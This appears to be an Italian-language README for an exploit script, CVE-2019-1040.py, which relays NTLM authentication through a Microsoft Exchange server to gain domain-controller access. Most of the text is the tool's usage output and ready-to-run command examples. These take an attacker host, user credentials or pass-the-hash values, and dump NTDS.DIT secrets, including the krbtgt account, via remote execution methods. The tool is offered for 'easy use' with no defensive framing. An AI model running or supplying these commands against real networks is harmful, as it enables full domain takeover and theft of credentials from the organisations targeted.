
CVE-2019-1040 con Exchange
Ottimo articolo! Sfruttare CVE-2019-1040 - Combinare vulnerabilità relay per RCE e Domain Admin .
Quindi, ho scritto CVE-2019-1040.py per un uso facile.
Puoi anche dare un'occhiata al mio repository exchange2domain: https://github.com/ridter/exchange2domain, un altro modo per usare Exchange per ottenere il DC.
Questi strumenti richiedono impacket. Puoi installarlo da pip con pip install impacket.
usage: CVE-2019-1040.py [-h] [-u USERNAME] [-d DOMAIN] [-p PASSWORD]
[--hashes HASHES] [--smb-port [destination port]] -ah
ATTACKER_HOST [-ap ATTACKER_PORT] -th TARGET_HOST
[-t TIMEOUT]
[--exec-method [{smbexec,wmiexec,mmcexec}]]
[--just-dc-user USERNAME] [--debug]
EX_HOSTNAME
CVE-2019-1040 with Exchange
positional arguments:
EX_HOSTNAME Hostname/IP del server Exchange
optional arguments:
-h, --help mostra questo messaggio di aiuto ed esci
-u USERNAME, --user USERNAME
nome utente per l'autenticazione
-d DOMAIN, --domain DOMAIN
dominio in cui si trova l'utente (FQDN o nome dominio NETBIOS)
-p PASSWORD, --password PASSWORD
Password per l'autenticazione, verrà richiesta se non specificata e non vengono forniti hash NT:NTLM
--hashes HASHES Hash LM:NLTM
--smb-port [destination port]
Porta di destinazione per connettersi al server SMB
-ah ATTACKER_HOST, --attacker-host ATTACKER_HOST
Hostname o IP dell'attaccante
-th TARGET_HOST, --target-host TARGET_HOST
Hostname o IP del DC
-t TIMEOUT, --timeout TIMEOUT
timeout in secondi
--exec-method [{smbexec,wmiexec,mmcexec}]
Metodo di esecuzione remota da utilizzare sul target (solo quando si usa -use-vss). Predefinito: smbexec
--just-dc-user USERNAME
Estrai solo i dati NTDS.DIT per l'utente specificato. Disponibile solo per l'approccio DRSUAPI.
--debug Abilita output di debug
esempio:
python CVE-2019-1040.py -ah attackterip -u user -p password -d domain.com -th DCip MailServerip
python CVE-2019-1040.py -ah attackterip -u user --hashes userhash -d domain.com -th DCip MailServerip
Se vuoi solo dumpare krbtgt, usa --just-dc-user.
esempio:
python CVE-2019-1040.py -ah attackterip -u user -p password -d domain.com -th DCip MailServerip --just-dc-user krbtgt
python CVE-2019-1040.py -ah attackterip -u user --hashes userhash -d domain.com -th DCip MailServerip --just-dc-user krbtgt
